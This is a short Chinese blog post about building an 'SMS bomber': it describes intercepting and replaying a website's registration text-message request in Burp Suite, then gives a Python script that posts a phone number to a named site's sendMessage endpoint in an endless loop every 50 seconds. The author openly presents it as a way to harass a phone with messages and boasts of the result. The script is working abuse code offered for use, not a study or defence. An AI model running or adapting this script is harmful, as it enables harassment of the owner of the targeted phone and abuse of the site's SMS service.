DAY3 python群发短信

手机轰炸,burpsuit 抓取注册页面输入的手机号,然后每点击一次forword ,都开开始放行,发短信。也可以发到repeat 里面进行 ,重复发送短信。

 1 import requests
 2 import time
 3 s = requests.Session()
 4 data = "phone=**********"
 5 headers = {
 6     'UserAgent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36',
 7     'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
 8     'Referer': 'http://www.otryin.com/',
 9 }
10 while True:
11     s.post(url="http://www.otryin.com/sendMessage", data=data,headers=headers)
12     print '---'.join(['send message sucess', data])
13     time.sleep(50)

搞了半天终于出来了,实现每隔50秒,对一个手机进行短信骚扰。功能有待改善。

备注: 需要对phone进行赋值,运行 python req.py 

结果: 那部手机疯了

原文地址:https://www.cnblogs.com/lt132024/p/5512198.html